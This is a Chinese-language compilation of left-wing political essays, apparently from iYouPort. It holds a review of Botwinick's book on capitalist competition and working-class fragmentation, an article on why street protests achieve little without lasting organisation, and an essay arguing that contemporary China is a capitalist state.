社会主义者长期以来一直断言，劳动力市场的不平等并没有什么大的奥秘。正是资本主义的不平衡发展，导致了两个不同的劳动力市场。初级市场是由相对稳定的工作组成的，需要更多的教育和培训，并提供更好的报酬和工作条件。它往往伴随着大型的、资本密集型的公司，具有垄断力量和一定程度上的工会组织。

二级市场 —— 妇女和少数种族的比例过高 —— 由相对无技能的工人从事的兼职和不稳定的工作组成，他们面临着压迫性的条件，并经常从事另一份类似的兼职工作。它倾向于较小的、劳动密集型的、高度竞争的公司，这些公司基本上没有工会。

似乎没有必要进一步解析这些细节。但是，博特威尼克坚持认为，无论这种说法包括什么合理性，它们都存在着严重的缺陷。通常被指定为"垄断企业"的公司，如亚马逊和沃尔玛，并不一定会支付更高的工资；而一些拥有小型和高度竞争的公司部门，如建筑业、码头货运，以及有一段时间包括服装业，其劳动报酬都高于平均水平。

这种明显的反常现象也不能用有没有工会来解释。即使是有工会的垄断企业，似乎也不再适合这个模板。例如，汽车工人的工资不仅停滞了十多年，而且他们的集体协议现在包括了工会的"兄弟姐妹"，他们做同样的工作却得到更少的报酬，并被排除在固定福利的养老金计划之外。

与二元市场理论中的情况相反，并没有一堵墙可以将劳动力市场的最高层和最低层隔开 —— 今天处于较高层的人明天可能就会发现自己处于二级劳动力市场。阶级的条件最好被描述为一般工人阶级的不稳定性的分级。

博特威尼克认为，这里涉及到比双重劳动力市场复杂得多的东西，关键在于对资本主义的两个核心特征有更丰富的理解：普遍的竞争和失业工人的集合。

创造性破坏

「图」

1977年，吉姆·克里夫顿在《剑桥经济学杂志》上发表了一篇开创性的文章，对「早期资本主义的特点是激烈的竞争、“垄断”只是后来通过资本单位规模的扩大和每个部门的资本单位减少的过程来实现的」观点提出了质疑。事实上，克利夫顿断言，情况恰恰相反。早期的竞争在很大程度上是本地化的；跨公司、部门和地区的全面竞争只有在资本主义的后期发展中才得以实现。

问题不在于资本集中和集权的现实，以及随之而来的具有巨大经济、社会和政治权力的公司机构的建立。博特威尼克给这些公司贴上了“调控资本”的标签，因为它们对生产力、价格和工资的部门标准有影响。但是，像克利夫顿一样，他看到这种发展加剧了而不是削弱了资本主义竞争。

资本主义竞争 —— 推动资本创新的社会经济结构的结果，为寻求更有利的积累条件而推进，并增加其在普遍利润中的份额 —— 是基于资本的易变性和流动性，而不是一个行业中的公司数量。随着企业规模的扩大，它们的技术、管理和财务能力也在不断提高，以重组自己的业务，进入其他行业，并在地理上扩张，也就是说，竞争。全球化使这种竞争普遍化。金融化，因为它相对来说与实体根基无关，所以进一步加速了它。

在最近的几十年里，企业来来去去的速度越来越快。在《财富》杂志1995年列出的十大美国公司中，只有一家在2020年仍然存在。不久前还在各自领域处于领先地位的公司 —— 比如出租录像带的百视达（Blockbuster）、计算机制造的康柏（Compaq）等 —— 都已经不复存在，而其他曾经的巨头，如通用电气、通用汽车和IBM，也已经濒临破产。

在这个过程中，部门的界限变得模糊不清。铝业中最大的公司与大钢铁公司竞争采购汽车零部件。谷歌在搜索引擎方面的优势和Facebook 在社交媒体方面的优势并不妨碍它们为争夺广告收入而展开的激烈竞争。IBM、亚马逊和微软可能在他们自己的重点领域被视为“垄断者”，但他们是想要在云计算领域建立优势的坚定竞争者。

这种竞争具有不断变化、不惜一切和无休止的过程；“旧的斗争必须重新开始，而且已经发明的生产资料越强大，斗争就越剧烈”。在这种暴力的多种社会经济和意识形态影响中，博特威尼克最关心的是它对工人阶级形成的消极影响。

不对称的依赖性

「图」

资本主义使工人们相互竞争。但特别使工人阶级分裂的是资本主义在不同工作场所和地区发展的不平衡性。

还有一系列的企业情况：技术和工人技能水平；操作的劳动强度和潜在的中断成本；可用的劳动力；兼职与全职工人的比例；产品的具体情况；工人抵抗的能力；以及企业关于这种抵抗是否需要更大的攻击性或更多的包容的决定。

此外，尽管工人有共同的剥削经历，但他们对工作场所的成功的依赖使他们中的许多人倾向于认同他们的雇主，甚至比其他工人更多 —— 即使他们同时也鄙视他们的老板。而谁是敌人的问题又使情况变得更加复杂：是压榨他们以获取更多利润的雇主，还是来自模糊的市场的持续压力，将工人和雇主联系在一起，不竞争则死亡。

这个问题具有重要意义，因为竞争确实导致了许多公司的消失。当然，这掩盖了一个关键的不对称性。最有效的资本家生存下来并接管较弱的资本家的资本，这使资本家作为一个阶级得到加强。对工人来说，竞争使阶级分裂，破坏了他们最重要的武器 —— 阶级团结，削弱了他们潜在的阶级力量。

把公共部门的工人带入画面，增加了工人阶级内部的分裂。私营部门的工人可能会憎恨他们，因为他们站在直接的市场压力之外，通常有更大的保障和更好的标准。毕竟，正是这些通常收入较低的私营部门工人的税收，帮助支付了公共部门的工资和福利。

通过这一切出现的工人阶级不是一个连贯的阶级，而是一个零散的阶级 —— 由拼命维生的工人的个体化或亚群体组成的混合体。尽管这也包括对资本的抵抗和矛盾，但这里的挑战是，一个被资本主义塑造和扭曲的阶级如何来重塑自己。

公共选择

「图」

竞争对工人阶级分化和资本-劳动力量不平衡的影响的一个特殊方面是“劳动后备军”。这些劳动力储备通过裁员有计划地在那些在竞争中失利的工作场所和那些通过机器、技术、工作重组和速度提高来取代工人的生产力的工作场所中繁殖。

这些特别绝望的工人减少了雇主不得不从其他工作岗位上竞聘工人的压力，并对所有工人起到了纪律性的警告作用，即：如果他们越轨，等待他们的是什么。博特威尼克还将后备军的范围扩大到失业者之外，包括那些仍然在工作但处于最恶劣条件中的人。因此，即使像大流行发生前的美国那样，失业率下降到历史最低点，对工人的纪律压力仍然存在。

劳动力市场底层的持续存在是基于一些工人在竞争工作中处于特别不利的地位，特别是在那些在“超级剥削”这部分劳动力中找到自己竞争位置的资本部门。美国黑人和拉美人在这些工作岗位上的过多人数，导致人们要求纠正这种种族主义的不平衡。阻止种族主义在左翼中是必然的，它本身就是一个目的，是建立阶级团结的根本。然而，博特威尼克强调，主要问题是结束所有应受谴责的条件，而不是旨在看到它们在种族群体之间“公平”分配。

呼吁提高最低工资显然是一个积极的步骤。但是，考虑到所涉及的权力的极端不平衡，它留下了雇主找到其他方法来获得更高的工资的可能性：降低其他福利，仍然更大的速度，或者干脆无视法律，因为如果没有工会，这些工人根本没有什么执法权。博特威尼克认为，更好的做法是将最低工资的意图—— 让每个人都能获得基本必需品——扩展到更广泛的需求，并通过全民计划，如医疗保健、适当的住房、获得教育、儿童保育、养老金和社区安全。这不仅对处于底层的人特别有利，而且也为建立能够真正赢得此类项目的阶级联盟奠定了战略基础。

本着这种即使在资本主义内部也要保证生活必需品的精神，另一个要求随之而来：用国家保证的工作取代资本作为“最后的雇主”，这些工作提供对社会有用的产品或服务，有工会，并符合工作场所和社会标准。这一建议可以追溯到马丁·路德·金在1963年华盛顿大游行中对工作和自由的呼吁，甚至可以追溯到1946年的《就业法》，它将为工作条件设定一个底线，有效地迫使即使是最无良的雇主也至少要符合这些标准才能吸引工人。

阶级视角

「图」

《持续的不平等》这本书的许多优点之一是博特威尼克对工人阶级中最有组织的部分 —— 工会的平衡看法。博特威尼克充分认识到他们在进步变革中的核心地位，但并不回避对其现有限制的审视。

在解决工人阶级的僵局时，求助于咄咄逼人的公司、敌对的政府、经济结构调整或全球化，都不是答案。所有这些都只是加强了而不是造成了劳工的弱点；毕竟是工会运动的现有限制使这些发展得以实现。正如博特威尼克所指出的，一旦该运动面临更严厉的攻击，“参与式民主和全阶级团结就成为了遥远的记忆，他们不再知道如何有效地动员其成员”。

复杂的现实是，尽管工会是从工人阶级中产生的，但它们不是阶级性的，而是特殊主义的组织，代表着碰巧发现自己在同一工作场所的特定工人群体。在战后令人振奋的几十年里，这个问题要小得多 —— 工人可以靠自己的力量取得收益，从而激发其他地方的收益。但那个时代，主要是因为它的成功和资本的反应，早已结束。

这并不是说资本已经逃脱了它的矛盾。资本用来降低成本的策略为工人破坏供应链和分销网络提供了机会，医疗保健和教育工作者现在代表了工业工人在1930年代拥有的那种战略力量。但这些只是潜在的机会。利用这一点需要一个根本性的转变 —— 工会的转变 —— 阶级观点。也就是说，不仅要在其他工人中寻找盟友，还要解决工人生活的其他方面，并参与工会自身成员的最深层次的发展，以此作为建设阶级的条件。

考虑到这样一个事实：由会费的诱惑或甚至是狭隘的自卫取向所激发的组织工作，并没有扭转工会密度低下的局面。在30年代，矿工联合会认识到被孤立的危险，派出数百名组织者去组织钢铁工人。正是这种从你自己的成员开始建立阶级的十字军精神，以及通过做不可思议的事和跨工会合作的精神以克服跨工会沙文主义，对于实现巨大的突破是非常重要的。

在公共部门的谈判中，现在人们普遍认识到，为了避免孤立，工会必须与更大的社区利益联系起来（事实上，这并不是“其他”，而是工人阶级生活的不同层面）。这不能局限于公关活动；它必需意味着重新考虑谈判的优先事项和结构、工会资金的分配、工作人员和干部培训的性质，并说服会员全力支持所有这些事 —— 没有这些，就总是会有反弹的风险。

而在私营部门，对企业产权和超强竞争性的普遍接受，有力地遏制了工人的收益。如果没有基于明确的阶级取向的政治斗争，任何工会，甚至是工会集体，都无法克服这种制约因素。

超越竞争

「图」

在讨论资本主义的限制性民主时，左翼通常会提出资本的力量，但很少讨论资本主义竞争驱动的市场的专制性质—— 博特威尼克将这一背景置于其分析的中心。

例如，尽管杰里米·科尔宾和伯尼·桑德斯的方案中具有所有政治上有价值的贡献，但是，他们都基本上忽略了竞争力的铁笼子。他们的重点反而是工人代表在公司董事会中获得席位，以及工人分享股票的分配。除此之外，他们还说需要打破 “垄断” 和最大的银行—— 也就是增加竞争。

除了误解这些机构中少数人的董事会席位和工人股份无法克服的权力层之外，低估资本主义的竞争压力也最大限度地减少了从根本上扭转企业局面的可能性。这很有可能只是使工人被融入企业的世界观，而不是挑战它们。至于反托拉斯的重组，这在历史上放大了工人的负担和不安全感；而分解银行似乎是加剧竞争的秘诀，对劳动者没有什么好处，同时可能放大整体经济的不稳定性。

任何工人阶级的战略都必须从这样的理解开始，即：“竞争力” 不是工人与资本共享的目标，而是现实世界的约束，工人必须对其进行抵制和限制，作为最终走向以民主计划取而代之的社会的一部分用于平等的社会用途。既然我们暂时不能取消竞争，既然试图监管保留私有产权的市场充其量只能带来好坏参半的结果，那么限制竞争的削弱性影响的一个战略选择就是争取在资本主义内部划出某些空间，让非盈利、非市场的标准能够接管。

以环境危机为例。由于解决这个问题需要改变我们工作、旅行和生活的方式，它涉及到广泛的领域，在那里我们可以可信地和普遍地论证，私人利益为实现他们自己的狭隘目标而竞争，无法超越紧急情况的范围。解决环境问题必须进行规划，而规划需要对要组织的东西进行一定的控制。这就要求借调制造设施，以制造环境规划所需的物质产品，并涉及建立机构，以防止关闭可能有用但并非私人盈利的设施，并将其转换为社会用途。

在扩大竞争/利润关系之外的空间的同时，我们也应该深化那些表面上已经存在于竞争经济之外的公共空间的非商品化。私营经济的霸权限制了这个部门的资金，促使它按商业条件运行，并使企业（和国家）不断渴望私有化，作为新的积累场所。我们能不能争取让这些服务成为民主管理的典范，让相关的工人和接受服务的人都受益，在这个过程中证明有替代私有制的方法，而且这些方法应该被扩大？

这种超越竞争力的尝试与限制金融市场对经济的纪律性控制是分不开的。尽管我们还不能将金融社会化，但已经有人呼吁公共银行不仅要解决环境问题，还要重建被破坏的基础设施。但是，如果这也是为了摆脱竞争的主导逻辑，这些银行就不能被派去与金融系统的其他部门竞争。它们将需要一个明确的社会任务和一个独立的资金来源来满足它。这种资金的一个明显来源是对每个金融机构征收税款，对公众赋予它们的财富进行部分回报。

这些本身并不是革命性的要求。相反，它们希望建立在博特威尼克强调的资本主义竞争在限制工人阶级进步中的核心地位的战略意义上。它们的目的是把眼前的需要与改变工人斗争的环境联系起来。

旧的斗争，又开始了

「图」

在这本书的后记中，博特威尼克回到了他的主要关注点：克服工人之间结构化的物质和文化鸿沟，建立一个自信的、连贯的、团结的工人阶级，具有分析和战略能力来领导社会的转型。他知道，仅仅工会不足以完成这项任务，尽管在最好的情况下，工会可以采取阶级观点，教育其成员了解资本主义如何运作，也许可以打开一些讨论的大门。

更进一步需要一个政党，一个专门专注于建立这样一个阶级的任务的组织。博特威维克承认左翼在这方面的僵局；这样的政党不能只是“宣布”。然而，环境危机的紧迫性使他相信，立即需要一个不明确的组织可以开始承担这样一个政党的属性。

补充博特威尼克的坚持有两个原因。首先，除非革命者能够渗透到工人阶级，一只脚在工会里，另一只脚在工会外，否则很难想象工会会作为我们渴望的扎根于阶级和面向阶级的机构而复兴。其次，在最近几十年从抗议到政治的过程中，特别是在英国动量运动和美国民主社会主义运动的崛起中，这一思想出现了令人兴奋的复兴；然而，如果没有大规模的阶级组织，任何成果都将是短暂的。

如果不充分了解斗争内容，就无法制定战略，如果不建立一个社会力量和机构来领导这场斗争，我们就无法获胜。持续的不平等并没有试图解释一切，也没有列出通往“光彩夺目的峰顶”的明确道路。但是，对于任何视资本主义为敌人，并相信工人阶级在结束资本主义和建立新事物的“疲劳攀登”中具有不可或缺的作用的人来说，这本令人印象深刻和细致入微的书提供了关键的线索和见解。〇

📌 在这里下载这本书：https://www.patreon.com/posts/60206814

原文

为什么街头抗议不起作用？ - iYouPort

为什么社会反抗和思考

如此多的示威游行为什么如此少地达成目标？

「图」

「图」

街头抗议活动正在此起彼伏中。

从曼谷到加拉加斯、从马德里到莫斯科，大量的人群聚集在世界各大城市的街头，你几乎不会在任何一周内看不到这类消息出现在新闻中。

抗议活动的原因各不相同（公共交通问题或教育问题、生活成本过高问题、公园乱砍滥伐问题，警察暴力虐待问题……等等）。

通常，申诉能够迅速扩大到包括对政府或其领导人的抵抗，或对腐败和经济不平等的更普遍的谴责。

反政府游行的航拍照片经常显示出一种令人热血沸腾的人山人海，你能看出人们急需改变的迫切之心。

然而，令人惊讶的是这些人群的成就究竟有多少 ……？

当地热切的政治活力与这些示威活动的实际结果极不相称。令人惊讶。

当然值得注意的例外也是存在的：比如在埃及、突尼斯和乌克兰，街头抗议活动实际上促成了政权更迭。

但是，大多数大规模的集会并未能在政治或公共政策方面造成重大变化。

占领华尔街就是一个很好的例子。

2011年夏天首次爆发（不是在华尔街，而是在吉隆坡的 Dataran Merdeka）占领运动迅速蔓延，并很快就在全球近 **2,600** 个城市的中心广场咆哮起来。

参与的人群多种多样，基本是大杂烩，彼此之间没有正式的联系，也没有明确的等级制度，并没有明显的领导者。简称无中心。

但社交网络有助于这些抗议信息的病毒式传播、并引发了其他地区的复制运动，因此，露营、抗议、筹款、与媒体沟通、以及与当局谈判的基本模式，在各地都比较相似。

同样的信息随处可见：全球财富集中在1％的精英手中是不可接受的，而剩下的99％在生死线上挣扎。

这种全球性的、大规模的、看似组织良好的抗议运动，本应产生更大的影响。理论上。

但事实上却没有。

虽然经济不平等的话题在过去几年中已经获得了发展势头，而在实践中，很难根据占领的提议找到有意义的公共政策变化。

总的来说，“占领”运动不久就从头条新闻中消失了。

事实上，政府的回应通常只不过是委婉修辞的敷衍之举，当然也不会有重大的政治改革。

例如，巴西前总统迪尔玛·罗塞夫（Dilma Rousseff）就证实了那些走上街头的人的挫败感，她承诺会做出改变，但这些“改变”一直没有实现。

土耳其总理雷杰普·塔伊普·埃尔多安（Recep Tayyip Erdogan）对他的国家抗议活动的反应更加激进。他指责反对派和抗议者是在“密谋策划针对他的所谓复杂阴谋”，并试图封锁 Twitter 和 YouTube。

在墨西哥城的反暴力抗议和新德里的反腐败示威游行期间，也出现了同样的事：大规模的游行，但获得的成果却很少。

为什么？这不公平。这么多极具行动热情的人怎么能收获这么少？

在哥本哈根大学的 Anders Colding-Jørgensen 进行的实验结果中可以找到一个答案。

2009年，Colding-Jørgensen 创建了一个 Facebook 小组，组织抗议在丹麦首都的一个主要广场拆除历史悠久的鹳鸟喷泉。

第一周内就加入了一万人;；两周后，该团体成员数量增加到 27,000 人。这就是实验的范围。

这只是实验。从来没有计划拆除鹳鸟喷泉 —— Colding-Jørgensen 只是想表明使用社交媒体创建一个相对较大的团队是多么的容易。

「图」

「图」

Anti-government protesters wake up in their encampment in Bangkok. (Reuters/Damir Sagolj)

在今天的世界中，通过 Twitter、Facebook 或其他在线通信工具来组织抗议，有可能不难吸引人群，特别是如果行动是为了证明某些东西真的令人愤怒的话。

问题是游行后发生的事。有时它会以与警察的暴力对抗结束，而且往往只会失败。

⚠在大规模的街头示威活动背后，很少有一个运作良好且更具永久性的组织能够跟进抗议者的要求，并进行复杂的、面对面的、沉闷的政治工作，从而在政府中推动真正变化的产生。

这是普林斯顿大学信息技术政策中心研究员 Zeynep Tufekci 所提出的重要观点，他写道：“在互联网出现之前，为规避审查和组织抗议活动而进行的繁琐工作本身有助于建立决策基础设施和维持行动力的战略。但是，现在，运动很可能会匆匆走过这一环节，往往给自己带来不利。“

许多城市的街道上都有一个强大的政治引擎。它转动高速并产生很多政治能量。但发动机没有连接到车轮，因此“运动”不会移动。

📢要改变这点，就要求组织能够进行老式的和永久性的政治工作，将街头示威活动纳入政治变革和政策改革。

在大多数情况下，这意味着政党。但并非意味着示威者不信任的现有政党。

相反，我们需要新的或经过深刻改革的政党，这些政党可以激励那些在政治上无家可归的理想主义者以及专注于建立一个知道如何将政治能量转化为公共政策的政治组织的专业人士。

正如许多人所指出的那样，⚠社交媒体既可以促进也可以破坏更有效的政党的形成。

我们熟悉社交媒体识别、招募、动员和协调支持者以及筹集资金的能力。但是，我们也知道，点击主义和懈怠主义会通过创造一种感觉良好的错觉来破坏真实的政治工作，即 将在 Facebook 页面上点击“like”或者发推误认为是等同于影响变化的行动。

近年来人们目睹了街头游行的普及，没有计划接下来会发生什么，以及如何让抗议者参与并融入政治进程。

这只是危险错觉的最新表现，即 误认为没有反对党就可以实现民主 —— 抗议活动被更多地建立在社交媒体上，而不是持续的政治组织中，而后者才是改变社会的方式。

Why Street Protests Don’t Work, How can so many demonstrations accomplish so little?

原文

为什么说中国是资本主义国家 - iYouPort

关于中国社会社会反抗和思考

我们在对BLM运动的分析中使用中国的996抗议运动为例，事实上就是在暗示这点：中国是资本主义国家。其实任何在中国组织和协助工人运动的活动家都应该很明白这点。但当前的舆论环境很难就这个议题进行有效的辩论 —— 人们长期接受中国当局的灌输，对社会主义和资本主义的概念有着普遍的误解。希望这篇文章能帮助中国读者理解这件事，因为这个概念很重要

「图」

「图」

二十一世纪的中国是资本主义的。这对于一个在1950年代末就基本消除了生产资料私有制的国家来说，是一个巨大的转变；同时该国还在随后的十年里进行了一些二十世纪最激进的政治实验。

尽管生产关系在过去四十年中进行了一些深刻的重组，但是共产党仍然保持着对权力的垄断，仍然是被标榜的“社会主义”，尽管现在共产党的修辞是具有所谓的“中国特色”。

中国从共产主义走向资本主义的道路导致了左翼人士（包括中国国内的和全球范围内的左翼人士）对如何定性现状产生了严重的困惑。

澄清这个问题对于反资本主义实践来说至关重要，而中国在全球范围内日益强大的实力更使得这个问题变得尤其重要。

归根结底，这是一个关于我们是否相信中国政府及其对美国主导的秩序的抵制战略体现了一种解放政治的问题。另一方面，如果我们把中国理解为不是试图超越资本主义，而是被锁定在与美国争夺对这个体系的控制权上，这就会导致一个非常不同的政治结论：我们必须制定自己的激进解放路线，独立于并反对所有现有的国家势力。

资本主义是一个众所周知的复杂概念，本文只能谈谈其中某些核心问题。从根本上说，资本主义是将一个人的需求从属于价值生产的制度。这种关系通过市场依赖性的普遍化被制度化，与此同时商品形式被来调解人与人之间的关系。

这种资本逻辑不仅表现在对劳动力的经济剥削和随之而来的阶级社会关系中，而且，还表现在工作场所、国家和其他地方的政治统治模式中。尽管与自由主义的英美模式有着重要的区别，但是，我们将看到，中国在所有方面都已成为资本主义属性的。

中国资本主义属性的标志比比皆是。在中国的大都市，到处都被法拉利和古驰商店所装饰，外国和中国国内公司的名牌商标印满了天际线，每一个主要的城市核心区到处都有高层的豪华住宅。

中国从世界上曾经贫富最均等的国家之一迅速演变成了最不平等的国家之一，这暗示着重大的结构性转变。

我们也可以把中国加入WTO、政府继续坚持其是市场经济，或者习近平在达沃斯为全球化辩护，主张市场在资源配置中发挥“决定性作用”等等现状，看作是这个国家正在拥抱资本主义的标志。

同样，人们可以发现，普遍的文化表达方式也暗示着潜在的资本主义取向，包括倡导拼命工作（"神经症式竞争"）、粗暴的消费主义（"剁手"族的兴起）、以及对从乔布斯到马云等一众企业大佬的独特天才的崇拜（“成功学”）。

然而，如果把资本主义的这些效应与资本主义本身混为一谈，那就错了。为了更全面地认识资本如何成为中国国家和经济的指导原则，我们需要更深入地探究。

- 推荐 《“21世纪的资本”：一部讲述我们如何陷入困境的纪录片》

「图」

「图」

经济、劳工、社会再生产

在提出对资本的彻底批判时，我们可以从商品入手。商品是指对某人有用的、含有交换价值的东西。在资本主义生产体系下，交换价值占

主导地位，也就是说，决定生产的是利润而不是有用性。

如果我们审视当代中国，毫无疑问，商品生产已经普遍化。这一点在以中国为中心的庞大跨国供应链中表现得很明显，在中国，从手机、汽车到医疗设备、服装、家具等各种产品的工厂里，对中国工人的剥削让国内外的企业都富得流油，同时也带来了前所未有的"出口繁荣"。

- 推荐这本书《茶杯里的风暴：殖民贸易及印度和中国的资本主义起源》

腾讯、阿里巴巴、百度、字节跳动 …… 等等中国科技巨头在某些重要方面与硅谷企业有点不同，但是，他们在生产技术方面的努力是完全一致的 —— 中美巨头共享监视资本主义体制，首先就是将信息商品化为导向。

同样，反复出现的房地产泡沫和大笔盈利的开发商表明，住房的生产只是为了应对市场机会。在各种部门中，很明显，生产首先是为了创造利润，而不是为了满足人类的需要。

「图」

「图」

虽然对商品生产的分析具有启发性，但从另一个方向来处理这个问题，将更具有政治效力：与其问资本为了确保自身的不断扩张而需要些什么，不如问人们如何生存。

那么，中国的无产阶级 —— 一个以自己的劳动能力为唯一生产性财产的群体 —— 如何确保自己的社会再生产呢？

答案是，和其他资本主义社会一样，无产阶级要想活下去，就必须想办法让自己依附于资本。食物、住房、教育、医疗、交通等等基本需求，以及休闲和社交的时间，并不是理所当然地得到保障；相反，在中国，绝大多数人只有首先能够使自己对资本有用，这些需求才能得到保障。

当然，中国社会是一个高度异质的社会，社会经济差异也导致生存策略的多样化。要阐明当前的论点，最具有人口统计学和政治相关性的群体类别是农民工。

农民工群体由近三亿人组成，他们生活在正式户口所在地之外，是一

支庞大的劳动力，也是中国产业转型的中坚力量。农民工一旦离开户籍所在地，就放弃了任何国家补贴的再生产权利，实际上使他们在自己的国家内沦为了二等公民。

也许显而易见的是，数亿人之所以会做出这样的选择，是因为他们无法在自己出身的贫困农村地区生存下去，在市场力量的驱使下，他们不得不到城市寻找工作。

资本主义的劳动关系在1970年代末首次在中国刚出现时，在政治上是有争议的，因为中国共产党内的许多人仍然支持毛泽东主义的“铁饭碗”终身雇佣制。但是。到了20世纪90年代，这种争论已经平息，1994年的《劳动法》为雇佣劳动建立了一个法律框架，这是最明确的标志。

请注意，新政策并没有如许多改革者所希望的那样迎来一个高度规范的社会民主模式的劳动力市场，而是被商品化了，但仍然高度非正式性。即使在2008年《劳动合同法》实施后（该法特别注重提高合法劳动合同的普及率）但在2010年代初，签订合同的农民工数量不仅没上升，甚至还下降了，截至2016年，只有35.1%的农民工有合同。

没有合同的工人不享有法律保护，因此极难解决侵犯劳动权利的问题。此外，社会保险 —— 包括医疗保险、养老保险、工伤保险、失业保险和“生育保险” —— 是雇主缴纳的。沦为非正式的劳动力对生活在户籍所在地以外的人来说，还会产生其他形式的排斥和市场依赖。

例如，如果一个外来务工者想让自己的孩子入读该城市的公立学校，首先要出具当地的劳动合同 —— 仅这一条规定就将绝大多数流动人口排除在公立学校教育之外了。

虽然教育等名义上的公共产品的分配机制因城市不同而大相径庭，但是总的逻辑是"让那些国家认定的对提升当地经济有用的人获得优待"。很多大城市都有“积分制”计划，申请人必须根据一系列以劳动力市场为导向的指标（如最高学历、技能认证、”劳动模范”奖）积累积分，才能享受公共服务。其他所有人都要任凭市场的摆布。

城市无产者在户口所在地工作的情况有些不同，从物质角度上看当然更好。他们将能够获得公立学校的教育，可能还有一些住房补贴，更有可能签订有法律约束力的劳动合同。中国的福利待遇并不优厚，社会支出占**GDP**的比重"远低于经合组织成员国的平均水"平，但城市居民获得福利的机会更大。

深刻的阶级和地区不平等以及财政问题都困扰着中国整个体系。因此，毫无疑问，即使是那些相对优越的群体，也必须让自己对资本有用，才能确保足够的医疗、体面的住房或退休后的保障。所谓的“低保”不足以、也不打算支持在社会可接受的水平上进行再生产。

「图」

「图」

政治权力

中国的经济不仅是资本主义经济，而且现在的国家也是以资本的总体利益来进行统治的。

与其他资本主义国家一样，中国国家也有自己相对的自主权，当然可以争论哪个国家的自主权更大；但足够明显的是，中国已经搭上了资本主义价值驱动的马车，这已经造成了治理的深刻转变。

这种以资本为中心的逻辑在车间政治中非常明显。在过去的三十年里，中国的工人暴动呈现直线上升，中国是全球"野猫式罢工"的量冠。当工人们采用历史悠久的传统，拒绝向资本提供劳动时，国家该如何应对？

虽然罢工不可避免地各有特色，但是警察的介入几乎都是代表老板的——他们为国内私营企业、外资企业和国有企业提供服务。

警察或国家支持的暴徒用强制手段破坏罢工的例子不胜枚举。但一个特别突出的例子是警察暴力镇压台资企业裕元鞋厂4万工人的罢工——工人们并没有忘记防暴警察代表台湾资本家介入的历史性讽刺。

如果说这次罢工优雅地提出了一个问题：”你站在哪一边？” 中国政府的选择已经足够明显。

在对城市公共空间中的非正规工人进行维稳时，也使用了国家暴力。1997年为执行非刑事法规而成立的准警察部队 —— 令人憎恶的 “城管” —— 无数次使用令人震惊的强制手段清除街头小贩和其他非正规工人。

"常态化的警察暴行"在中国的非正规劳动者中产生了深刻而广泛的愤怒，反城管的暴动非常普遍。2011年，广东增城的农民工集体走上街头，可能是最壮观的一个例子，当时有传言说，一名孕妇在一次城管

行动中被殴打后流产。经过几天的大规模暴动，解放军使用了暴力镇压。

「图」

「图」

如果我们认为资本不仅仅是一种基于剥削的经济关系，而是一种劳动者处于从属地位的政治关系，那么，中国政府的行动还有其他重要的方式符合资本的逻辑。

就在中国开始资本主义转型的时候，邓小平在1982年决定从宪法中取消罢工权条款。与这种对劳工权利的限制相配套的，是一直以来对工人自组织的持续禁止。

在中国，唯一合法的工会是中华全国总工会，这个组织在职场内明面上隶属于中共，暗地里隶属于资本。企业人力资源经理被任命为企业级工会主席是标准做法，连摆摆样子让工人进行民主参与都免了。毋庸置疑，工人并不认为这些工会能有意义地代表他们的利益，建立自治组织的努力也遭到了严厉的打压。

对无产阶级的政治奴役也延伸到正式的国家机构中。和所有公民一样，工人们没有能力在公民社会中自我组织、没有能力组建政党，也没有能力行使任何形式的政治代表权，所以他们只能完全祈祷中共的善意来代表他们。

中共已经不再声称代表工人和农民的利益来对抗他们的阶级敌人 ——自从接纳了资本家入党，并在江泽民的领导下推进了 “三个代表” 的概念以来，中共的目标已经变成了代表 “中国广大人民的根本利益”。再加上国家有效地禁止承认阶级对立，显然，一党执政的社会基础已经发生了深刻的反革命。

即使是粗略评估中国政府的社会构成，也会发现，资本不仅能很好地获得了国家权力，而且，从根本上说，它与国家权力是密不可分的。

2003 ~ 2008 第10届全国人大代表中，“一线工人” 代表的数量下降到只有2.89%，比上世纪70年代大幅下降。财阀在人大和政协中的惊人集中度，最能体现资本政治权力的正规化：截至**2018**年，这两个中央政府机构中最富有的**153**名成员的财富总和"约为6500亿美元"。

立法机构曾试图吸纳那些在私营部门赚取数十亿美元的人，比如互联网巨头腾讯的负责人马化腾。但是经济和政治权力之间的转换也在另

一个方向上起作用：温家宝（前总理）的家族利用其政治关系积累了约27亿美元的个人财富。在21世纪的中国，资本产生政治权力，正如政治权力产生资本一样。

执政党说中国是“社会主义国家”，这根本没有得到现实的证实。不过，2020年的经济有几个特点与当前的资本主义国家范式有相当大的不同，因此值得多加注意。

「图」

「图」

国家干预经济

毫无疑问，中国国家对经济的干预比大多数资本主义国家的情况更为广泛。但如果我们关注的是一般意义上的资本主义，而不是其相对新颖的新自由主义形式，中国就并不是那么特殊了。

中国的国有企业贡献占GDP的 23–28% —— 对于当今世界来说，这无疑是很高的。但是，对资本主义来说，统制主义并不是什么新鲜事，不仅出现在它的诞生地法国，还出现在各种法西斯国家、独立后的印度，甚至是国民党控制的台湾 —— 在台湾，国有企业在80年代末就贡献了该国近四分之一的GDP。以提高效率、利润率和可预测性为导向的国家干预并不是与资本主义对立的，而是后者的一个必要的组成部分。

再次回到劳动者的角度，我们会发现，国有资本和民营资本的差别微乎其微。作为国家“打破铁饭碗”运动的一部分，数千万国营部门的工人在1990年代和2000年代初被下岗。这种私有化运动把他们扔进了一个他们完全没有准备的劳动力市场，造成了这些“前国家主人翁”的生存危机和大规模的抵抗。

在这一波裁员和窃取工人养老金及其他公共财产的浪潮之后，剩下的国有企业都受到了“硬预算”和市场力量的制约，包括在"劳动制度"上。正如社会学家 Joel Andreas 广泛记录的那样，毛泽东时代公认的不完善的工作场所民主实验已经被市场化所淘汰，国企工人现在和同等的私营企业工人一样，从属于管理层。这些公司在任何意义上都不是公共财产 —— 它们属于一个不用负责任的国家，并受其控制。

土地问题与此相关，但又有所不同。事实上，所有的城市土地都归国

家所有，而所有的农村土地则归当地居民集体所有。但正如大量研究表明的那样，使用权与所有权的分离使对土地的使用具有了明确的资本主义性质。

在城市，这意味着商品房建设出现了历史上前所未有的繁荣，如前所述，商品房建设完全以市场信号为导向。城市政府在财政上"高度依赖"土地拍卖的利润，导致其利益与开发商的利益紧密结合。

持农村户口的人有权获得一块土地，不过正如农村向城市大规模迁移所表明的那样，这块土地很少有面积或足够的质量来维持社会再生产。

城市的向外扩张导致了农民的土地的大规模被剥夺。与国有企业的工人一样，农民几乎没有能力对其（名义上的）集体所有的土地进行任何监督或控制，村干部代表集体说话。

其结果就是无休止的土地剥夺循环，农民一般只得到其土地市场价值的一小部分，而村干部和开发商则从中捞取大量的好处。

